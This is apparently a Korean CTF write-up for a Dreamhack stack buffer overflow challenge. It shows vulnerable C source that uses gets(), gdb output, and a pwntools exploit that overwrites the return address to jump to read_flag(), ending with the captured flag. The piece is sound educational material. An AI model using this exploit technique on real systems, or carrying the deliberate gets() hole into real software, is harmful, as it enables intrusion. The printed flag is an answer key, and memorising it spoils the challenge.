문제 소스코드를 출력해보면
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() { // flag 파일을 읽어주는 함수
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80]; // buf[128]
initialize();
gets(buf); // 크기에 제한없이 buf에 입력을 받음
return 0;
}
gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.
read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_flag() 함수의 주소가 들어가게 하면 될 거 같습니다.
gdb로 문제 파일을 봐보면
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80] // eax = buf(ebp-128)
0x080485da <+14>: push eax // push buf
0x080485db <+15>: call 0x80483d0 <gets@plt> // gets(buf)
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
read_flag() 함수의 주소를 찾아보면
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08048398 _init
0x080483d0 gets@plt
0x080483e0 signal@plt
0x080483f0 alarm@plt
0x08048400 puts@plt
0x08048410 system@plt
0x08048420 exit@plt
0x08048430 __libc_start_main@plt
0x08048440 setvbuf@plt
0x08048450 __gmon_start__@plt
0x08048460 _start
0x08048490 __x86.get_pc_thunk.bx
0x080484a0 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048530 frame_dummy
0x0804855b alarm_handler
0x08048572 initialize
0x080485b9 read_flag
0x080485cc main
0x080485f0 __libc_csu_init
0x08048650 __libc_csu_fini
0x08048654 _fini
read_flag() → 0x080485b9
메모리 구조를 그려보면
buf~EBP ← NOP[132]
RET ← read_flag() 함수의 주소
를 넣어주면 본 함수 종료 후 read_flag() 함수로 점프해서 flag값이 출력될 거 같습니다.
pwntools로 익스플로잇 코드를 짜 보면
from pwn import *
p = remote("host3.dreamhack.games", 9955) # 원격 서버에 연결
read_flag = p32(0x080485b9) # read_flag 함수의 주소를 리틀 엔디안 방식으로 패킹
payload = b"\x90"*132 # payload = NOP[132]
payload += read_flag # payload = NOP[132] + read_flag
p.sendline(payload) # payload 입력
p.interactive() # 사용자에게 입출력을 돌려줌
익스플로잇 코드를 실행시키면
⚡ root ~/dreamhack python exploit002.py
[+] Opening connection to host3.dreamhack.games on port 9955: Done
[*] Switching to interactive mode
$
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive
$
플래그가 출력되었습니다.